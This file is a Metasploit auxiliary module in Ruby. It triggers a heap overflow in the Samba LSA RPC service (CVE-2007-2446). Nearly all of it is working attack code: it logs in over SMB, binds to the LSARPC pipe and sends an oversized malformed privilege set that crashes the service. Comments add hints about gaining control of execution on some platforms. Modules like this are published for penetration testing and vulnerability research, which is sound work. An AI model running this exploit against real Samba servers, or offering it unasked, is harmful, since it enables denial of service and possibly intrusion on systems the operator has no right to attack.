1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::DCERPC
8
  include Msf::Exploit::Remote::SMB::Client
9
  include Msf::Auxiliary::Dos
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Samba lsa_io_privilege_set Heap Overflow',
16
        'Description' => %q{
17
          This module triggers a heap overflow in the LSA RPC service
18
          of the Samba daemon.
19
        },
20
        'Author' => [ 'hdm' ],
21
        'License' => MSF_LICENSE,
22
        'References' => [
23
          ['CVE', '2007-2446'],
24
          ['OSVDB', '34699'],
25
        ],
26
        'Notes' => {
27
          'Stability' => [CRASH_SERVICE_DOWN],
28
          'SideEffects' => [],
29
          'Reliability' => []
30
        }
31
      )
32
    )
33

34
    register_options(
35
      [
36
        OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'LSARPC']),
37
      ]
38
    )
39
  end
40

41
  def run
42
    pipe = datastore['SMBPIPE'].downcase
43

44
    print_status('Connecting to the SMB service...')
45
    connect
46
    smb_login
47

48
    datastore['DCERPC::fake_bind_multi'] = false
49

50
    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
51
    print_status("Binding to #{handle} ...")
52
    dcerpc_bind(handle)
53
    print_status("Bound to #{handle} ...")
54

55
    # Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)
56
    # Mac OS X: PC control via memcpy to stack ptr
57
    # Solaris: PC control via memcpy to stack ptr
58

59
    stub = lsa_open_policy(dcerpc)
60
    stub << NDR.long(1)
61
    stub << NDR.long(0xffffffff)
62
    stub << NDR.long(0x100)
63
    stub << 'X' * 0x100
64

65
    print_status('Calling the vulnerable function...')
66

67
    begin
68
      # LsarAddPrivilegesToAccount
69
      dcerpc.call(0x13, stub)
70
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
71
      print_good('Server did not respond, this is expected')
72
    rescue StandardError => e
73
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
74
        print_good('Server disconnected, this is expected')
75
      else
76
        raise e
77
      end
78
    end
79

80
    disconnect
81
  end
82
end
83

84